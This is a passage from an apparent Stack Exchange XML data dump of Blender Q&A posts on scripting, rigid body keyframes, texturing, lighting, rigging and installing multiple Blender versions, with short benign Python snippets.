&lt;code&gt;functionName&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The final way is to use a variable, or property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge  &#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;if 'init' not in own: # Will only run once, or when the var gets removed&#xA;    own['init'] = True&#xA;    print('only once')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then if you need that code to run again use this line &lt;code&gt;del own['init']&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2016-02-27T14:08:14.747" LastActivityDate="2016-02-27T14:08:14.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28876" PostTypeId="1" AcceptedAnswerId="56756" CreationDate="2015-04-23T22:26:35.883" Score="3" ViewCount="206" Body="&lt;p&gt;So I am writing a small script to set initial speeds for objects in the Rigid Body system. It is really bare bones right now, but it essentially sets a keyframe for the selected object on the frame number of a variable called &lt;code&gt;start_frame&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal of the script is so I can choose a start frame and a speed, and the object will have all of the correct keyframes set so it can just launch off with an initial speed. The problem is that depending on what frame I set &lt;code&gt;start_frame&lt;/code&gt; to be, the cube reacts differently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;start_frame&lt;/code&gt; equals 1, the object is launched and then falls off the plane.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JPYHa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;start_frame&lt;/code&gt; equals any number greater than 1, the object doesn't travel as far.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QyULi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, there shouldn't be any difference because the distance between the start and end keyframes is always the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the graph editor but the only change I am seeing between the two conditions is being shifted, just like it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9AwM6.gif&quot; alt=&quot;Animated GIF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am so confused why changing the frame from 1 to anything above 1 would give such a different result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there anything special about frame 1?&#xA;And if so, how can I avoid this problem in my script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/199/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=199&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2016-06-27T20:52:24.727" Title="Different frames make rigid bodies act differently" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28877" PostTypeId="2" ParentId="28869" CreationDate="2015-04-23T23:01:54.467" Score="8" Body="&lt;p&gt;Currently up to version 2.74 there is no option to disable looping playback.&#xA;There is a solution with a script from CoDEmanX:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def stop_playback(scene):&#xA;    if scene.frame_current == scene.frame_end:&#xA;        bpy.ops.screen.animation_cancel(restore_frame=False)&#xA;&#xA;# or restore frames:&#xA;def stop_playback_restore(scene):&#xA;    if scene.frame_current == scene.frame_end + 1:&#xA;        bpy.ops.screen.animation_cancel(restore_frame=True)&#xA;&#xA;# add one of these functions to frame_change_pre handler:&#xA;bpy.app.handlers.frame_change_pre.append(stop_playback)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="5113" LastEditDate="2015-04-23T23:10:27.890" LastActivityDate="2015-04-23T23:10:27.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28878" PostTypeId="2" ParentId="28876" CreationDate="2015-04-23T23:30:01.790" Score="1" Body="&lt;p&gt;The problem is the animation starts at &lt;code&gt;frame_start&lt;/code&gt; and ends at &lt;code&gt;frame_end&lt;/code&gt; and since &lt;code&gt;end_frame = start_frame + speed&lt;/code&gt; the duration is always the same but shifted.&lt;br&gt;&#xA;To achieve the desired effect the animation duration should get longer when &lt;code&gt;frame_start&lt;/code&gt; gets larger, one way to do it is to set the first keyframe at 0.&lt;br&gt;&#xA;so the first key frame shouldn't be the start_frame :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # First keyframe&#xA;    scene.frame_current = 0&#xA;    bpy.ops.anim.keyframe_insert(type='Location')&#xA;    print(start_location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;if you want to start at &lt;code&gt;frame_start&lt;/code&gt; and end at &lt;code&gt;frame_end&lt;/code&gt; and get different results you have to change the &lt;code&gt;frame_end&lt;/code&gt; expression :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;frame_end = speed + 2*frame_start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way the delay the start the longer the duration is , giving the cube lower speed ( less momentum )  and it will travel shorter&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-24T10:21:22.337" LastActivityDate="2015-04-24T10:21:22.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28879" PostTypeId="1" AcceptedAnswerId="28898" CreationDate="2015-04-23T23:41:22.290" Score="3" ViewCount="1417" Body="&lt;p&gt;I have Blender (latest stable version) installed on my workstation.  I want to install the nightly build so that I can have the stereo 3D features for a project that I am working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any known problems that I could have by having both installed/running at the same time?&lt;/p&gt;&#xA;" OwnerUserId="3506" LastActivityDate="2020-10-20T14:01:15.860" Title="How well does Blender handle multiple instalations side by side?" Tags="&lt;windows&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28881" PostTypeId="2" ParentId="28766" CreationDate="2015-04-24T00:34:04.757" Score="3" Body="&lt;p&gt;I did this in a way that is not computationally expensive for physics with the &quot;Bake to keyframe&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make my basic set up in Blender Render. The eight cubes that will compose the fractured cube are all set to rigid body &quot;active&quot; objects. A plane is added below them, and set to rigid body &quot;passive&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I add the object that will force the cubes apart, it can be anything, a monkey, a cube, ect... ect... Place it at the junction between the cubes and make it passive like the ground plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, play the animation through to make sure you like it. Scaling the &quot;exploder&quot; object has great effect on how the cubes break apart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the cubes and &lt;kbd&gt;Spacebar&lt;/kbd&gt;Search + &quot;bake to keyframes&quot;. Click it, then click &quot;Okay&quot; on the popup window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all you need to do is make each cube play the animation(s) always in game, parent them all to another no-collision object, move to another layer, and have the original cube add the parent when it dies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create more than one such animation and use a &lt;strong&gt;Random&lt;/strong&gt; sensor you can have great looking, variable, computationally inexpensive exploding cubes for your game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K7mra.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/200/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=200&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-24T01:05:16.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28882" PostTypeId="2" ParentId="28803" CreationDate="2015-04-24T00:47:42.210" Score="3" Body="&lt;p&gt;If a lamp is too dim to add any significant lighting to other objects (except for very close ones), including it in MIS just wastes computations for no real purpose. If you are using branched path tracing, it will sample all lights on every sample (with MIS). So you want to make sure it is only spending time doing samples that might return something other than 0 (or close to it). If you are using the simple progressive path tracing mode, it only samples one lamp per sample. So if a lamp won't contribute much, you don't want it to use MIS because it might steal the sample from a more useful lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr: disabling MIS is a way to tell Cycles &quot;this lamp is too dim to illuminate much of anything, don't waste your time trying&quot;.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastActivityDate="2015-04-24T00:47:42.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28883" PostTypeId="1" AcceptedAnswerId="28884" CreationDate="2015-04-24T03:23:45.290" Score="8" ViewCount="21803" Body="&lt;p&gt;How do I give all selected objects the same texture without manually applying the texture to each and every object? I am trying to get some sort of box texture onto all of these cubes:&lt;img src=&quot;https://i.stack.imgur.com/l1sEW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any steps on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="13366" LastActivityDate="2020-01-22T11:31:47.653" Title="How to add same texture to multiple objects" Tags="&lt;texturing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28884" PostTypeId="2" ParentId="28883" CreationDate="2015-04-24T03:41:00.297" Score="12" Body="&lt;p&gt;Apply texture to one of the cubes, then select all the cubes and the textured cube as last, then use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; shortcut and select &lt;strong&gt;Object Data&lt;/strong&gt; from the menu.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-24T03:41:00.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28885" PostTypeId="1" CreationDate="2015-04-24T04:17:54.450" Score="5" ViewCount="1648" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4K3TJ.png&quot; alt=&quot;enter image description here&quot;&gt;So I am still very new to Blender, having only been working with it for about a week, but I am at the point where I am trying to get lighting set up for a Minecraft animation that I'm making for my channel but I can't get light to show up indoors. I can see through the windows but light won't pass through the windows nor will any lamps work that are placed inside. Can someone help me figure out how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="13955" LastEditorDisplayName="user1853" LastEditDate="2015-11-21T02:02:06.373" LastActivityDate="2018-03-09T17:38:33.547" Title="light won't pass through the windows" Tags="&lt;blender-internal-render-engine&gt;&lt;light&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28886" PostTypeId="2" ParentId="28874" CreationDate="2015-04-24T04:34:56.020" Score="3" Body="&lt;p&gt;Start off by adding a cube, giving it a subserf with a level of three, and applying it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/esC6d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then tab into edit mode, and use the space bar to search for the &quot;to sphere&quot; operation. Use this operation, press 1, and press enter. This takes our cube which was almost spherical, but not quite, and turned it into a perfect sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the middle 16 faces, and inset them a little bit.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1KOjM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then extrude those faces back, and scale them along the Y axis to 0 to straighten them out.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PzQ6J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a subserf modifer and move the edges closest to the outside of the hole, out to sharpen up the edge, and then add some edge loops around hole to create some sharper edges.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cKyXg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then tab out of edit mode, and admire your finished result!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oxj7G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-06-25T03:51:54.430" LastActivityDate="2015-06-25T03:51:54.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28888" PostTypeId="2" ParentId="28862" CreationDate="2015-04-24T06:06:15.763" Score="7" Body="&lt;p&gt;When doing motion tracking you can set the origin of the scene on the Solve Tab's &lt;strong&gt;Orientation&lt;/strong&gt;. Select a marker you want and press on &lt;strong&gt;Set Origin&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbkmo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you setup the tracking scene that particular tracker will be placed at the origin of your 3D scene. (to make the trackers into empties press on &lt;strong&gt;Link Empty to Track&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YBviw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those empties will be visible if you enable the Motion tracking box on the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/88SJO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the tracking information is linked to the camera, so can move the camera and the empties will follow, or you can select any of the empties and move it where you want and the rest will follow as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rotate the camera around a particular point. Select an emtpy, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and select &lt;strong&gt;cursor to selected&lt;/strong&gt;. Then set your &lt;strong&gt;Pivot Point&lt;/strong&gt; to &lt;strong&gt;3D cursor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RhOMR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3710" LastEditDate="2016-02-14T14:27:09.633" LastActivityDate="2016-02-14T14:27:09.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28889" PostTypeId="1" CreationDate="2015-04-24T07:58:09.050" Score="1" ViewCount="4468" Body="&lt;p&gt;In every tutorial i've seen, there is a Name field under the &quot;UV Maps&quot; section of the Data for an object.  The latest tutorial i've seen said simply it was version 2.7.  I am using Cycles renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I have no Name field, nothing in right click, and nothing I could see in the UVs menu seems to have anything to do with naming it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I rename my multiple UV maps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:  I didn't think to ask about renaming vertex groups because it wasn't obvious to me that they would have anything in common.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y0Wsu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13957" LastEditorUserId="13957" LastEditDate="2015-04-24T15:27:08.757" LastActivityDate="2015-04-24T15:27:08.757" Title="How to rename different UV maps in blender 2.74" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-24T13:46:36.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="28890" PostTypeId="2" ParentId="28889" CreationDate="2015-04-24T08:03:35.500" Score="4" Body="&lt;p&gt;You can now &lt;kbd&gt;Double-Click&lt;/kbd&gt; (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left-Click&lt;/kbd&gt;) on the name of items in 'UI Lists' and they will change into an editable text field. Press &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm the new name once typed.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-24T08:20:34.897" LastActivityDate="2015-04-24T08:20:34.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28891" PostTypeId="1" AcceptedAnswerId="28893" CreationDate="2015-04-24T08:07:19.413" Score="5" ViewCount="3174" Body="&lt;p&gt;I do some testing for further learning python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup is an Empty that spawns a cube every 60 tics on a random position. Now what I want is those cubes also get a random color. This is my code for it (attached to the cube on a seperate layer)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def objColor():  &#xA;&#xA;    obstacle = scene.objects [&quot;obstacle&quot;]&#xA;&#xA;    r = random.random()&#xA;    g = random.random()&#xA;    b = random.random()&#xA;&#xA;    obstacle.color = (r,g,b,True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happens is that the first spawned cube gets a random color, but all others that follow don't. I assume that has something to do with blender changing the name of the following cubes to obstacle.001, 002 etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I make sure that all the following cubes also get a random color?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help,&#xA;cheers &lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="3710" LastEditDate="2015-04-25T19:15:21.343" LastActivityDate="2015-04-25T19:15:21.343" Title="Random object color via python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28892" PostTypeId="1" CreationDate="2015-04-24T08:17:02.490" Score="11" ViewCount="9866" Body="&lt;p&gt;How do I select a specific face within a mesh knowing its face index or vertex?&#xA;I tried without success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.meshes.polygons[2].select=True #where the face index=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13750" LastEditorUserId="241" LastEditDate="2015-04-24T09:47:17.353" LastActivityDate="2015-04-24T20:15:52.510" Title="select specific face by its index" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28893" PostTypeId="2" ParentId="28891" CreationDate="2015-04-24T08:29:56.787" Score="5" Body="&lt;p&gt;Yep, you are assigning all new random colours to the first object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_random_color():&#xA;    ''' generate rgb using a list comprehension '''&#xA;    r, g, b = [random.random() for i in range(3)]&#xA;    return r, g, b, 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in the loop, once you create the object you get a reference to it.&#xA;somethng like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.ops.mesh.primitive_cube_add()&#xA;obj.color = get_random_color()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you will call a function to get random rgba on every new object&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-24T20:51:21.347" LastActivityDate="2015-04-24T20:51:21.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28894" PostTypeId="2" ParentId="28892" CreationDate="2015-04-24T08:40:00.853" Score="20" Body="&lt;p&gt;The line below is invalid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.meshes.polygons[2].select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.data.meshes&lt;/code&gt; is a collection of all meshes in this .blend file, it doesn't have an attribute &lt;code&gt;.polygons&lt;/code&gt;. You are close though, you need to reference a specific  mesh either via &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh = bpy.data.objects['some_object_name'].data&#xA;# or&#xA;mesh = bpy.data.meshes['some_mesh_name']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Important to note here that Objects are not the same as Meshes  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An Object can hold a reference to a Mesh. (or Curves, or other Types)&lt;/li&gt;&#xA;&lt;li&gt;A Mesh only holds references to the objects that use it. (Actually, I think it only holds the count of objects that reference it.. not their names: maybe someone can correct me?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;In Object Mode&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;One way to select by face index is, go to Object Mode first then do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.active_object&#xA;obj.data.polygons[2].select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you go back to Edit Mode you'll see the face is selected.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;In Edit Mode&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you wanted to do that in Edit Mode, this might be unintuitive at first, but it involves a little more code. Blender  comes with a useful collection of templates for mesh editing. The relevant template for this question can be found in Text Editor &gt; Templates &gt; Python &gt; Bmesh Simple Edit Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a slight modification to that template, copy it to the Text Editor and press Run.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;# notice in Bmesh polygons are called faces&#xA;bm.faces[4].select = True  # select index 4&#xA;&#xA;# Show the updates in the viewport&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-24T20:15:52.510" LastActivityDate="2015-04-24T20:15:52.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28895" PostTypeId="1" AcceptedAnswerId="29187" CreationDate="2015-04-24T08:53:54.793" Score="5" ViewCount="1091" Body="&lt;p&gt;I am making a rig that transfers motion from one mesh to another via bones. This is for complex mesh hair strands. The base mesh has a cloth sim on it. Chains of bones are constrained to follow this mesh. Another version of the mesh is then driven by this bone armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works by IK constraining the tips of bones to vertices. Their roots are locked by being Connected to the bones high up the chain. Each strand has 5 vertical loops. There are 3 bone chains per strand, on the edge and center loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This picture shows the armature and the mesh it is driving, but not the mesh the armature is constrained to.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cixsC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All areas of this rig are working, but I am getting strange behavior in some parts. In some areas, mostly at the tips, there is twisting in the mesh being controlled by the armature. It appears to be twisted by 180 degrees. Currently, I can solve it by manually selected the three bones that converge at the tip, and then rotating them by 180 degrees on their local Y.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Bcx1v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to remove this twisting. I do not understand where it could be coming from. Inherit rotation is disabled on all bones. I've tried changing the bone's rotation mode off Quaternion, but it makes no difference. This rig works entirely by copying location, not rotation, so I do not see how there could actually be any rotation data on the bones (there is none to reset.) Removing weights from the side bones does not help. I can only conclude that the bones are fine, but the mesh is somehow flipping? What could cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's a link to the file. It's a .zip because it also contains the .mdd needed for it. Apparently those cannot be packed into the blend file. Load it into the Mesh Cache modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/ki3slubwrpb1j9r/HairRigTwistingProblem.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/ki3slubwrpb1j9r/HairRigTwistingProblem.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: I have found a workaround. If I make a vertex group of the loop that runs horizontal across the tail that is at the top of the last bones in the chains, and give them copy rotation to that vertex group, it seems to fix the problem. I may have to pursue this workaround as the full solution, but it does not explain what's going on in the first place.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-04-30T07:43:33.813" LastActivityDate="2015-05-03T16:34:28.987" Title="Strange twisting from multi-chain armature" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28896" PostTypeId="1" CreationDate="2015-04-24T09:50:34.353" Score="10" ViewCount="1869" Body="&lt;p&gt;In Blender, a parent-child relationship stores the relationship between the 2 objects created when parenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is normally OK, but in some cases its useful to have a reset loc/rot/scale, align the child exactly with its parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to reset those extra matrices in blender object - I have an object that is perfectly aligned with it's parent, but the euler rotations values say something very different. I need a script to have this object's rotation at 0,0,0 (or, potentially other value, which expresses the real rotation offset to it's parent)&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="55" LastEditDate="2015-04-24T10:03:28.400" LastActivityDate="2021-02-06T18:21:32.230" Title="how to clear parent inverse without actually moving the object" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28897" PostTypeId="2" ParentId="28896" CreationDate="2015-04-24T10:01:44.217" Score="8" Body="&lt;p&gt;You can reset the parent inverse matrix, then apply the relationship between the original matrix and the parents onto the child object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This script assumes you have the child selected.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;ob = bpy.context.object&#xA;&#xA;# Store a copy of the objects final transformation&#xA;# so we can read from it later.&#xA;ob_matrix_orig = ob.matrix_world.copy()&#xA;&#xA;# Reset parent inverse matrix.&#xA;# (relationship created when parenting)&#xA;ob.matrix_parent_inverse.identity()&#xA;&#xA;# Re-apply the difference between parent/child&#xA;# (this writes directly into the loc/scale/rot) via a matrix.&#xA;ob.matrix_basis = ob.parent.matrix_world.inverted() @ ob_matrix_orig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note, if the child has any &lt;em&gt;shearing&lt;/em&gt; because of rotation and the parents non-uniform scaling, that will be removed, since loc/scale/rot can't represent shearing.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2019-09-20T22:41:53.907" LastActivityDate="2019-09-20T22:41:53.907" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28898" PostTypeId="2" ParentId="28879" CreationDate="2015-04-24T10:06:10.317" Score="3" Body="&lt;h3&gt;multiple blender versions on one system should be fine.&lt;/h3&gt;&#xA;&lt;p&gt;Personally, I don't update Blender builds more than 2 times a week, often less. Of course if some needed feature is broken and has been fixed in a recent build then i'll update asap. There's no right or wrong way here, it's more about how much effort you want to stick into being on the cutting edge.&lt;/p&gt;&#xA;&lt;p&gt;Let's assume you are downloading from &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Builder bot&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The simplest way to do avoid potential collisions is to take control of where your new blender files go. This means not using the installers, but instead unpacking the builds manually and putting them in separate folders.&lt;/p&gt;&#xA;&lt;p&gt;You can make short-cuts to different Blenders and put them on your desktop, that way loading different instances of blender is easy. Remove the short-cuts of the Blender versions that you don't think you'll need for a while. Use unique icons to quickly identify the Blender (maybe using 3d glasses for the icon in the viewport branch)&lt;/p&gt;&#xA;&lt;h3&gt;Add-ons&lt;/h3&gt;&#xA;&lt;p&gt;Add-ons are an easy issue to get wrong, both locating them and installing.  But it doesn't have to be hard. Each version of Blender will look in &lt;a href=&quot;https://docs.blender.org/manual/en/latest/advanced/blender_directory_layout.html#blender-s-directory-layout&quot; rel=&quot;nofollow noreferrer&quot;&gt;several locations for &lt;code&gt;/scripts/addon&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you have a core of preferred addons, the way to only worry about those once is to make a custom add-ons folder, and tell Blender to also look there for addons. In:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User Preferences &amp;gt; File &amp;gt; Scripts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LAIOU.png&quot; alt=&quot;enter image description here&quot; 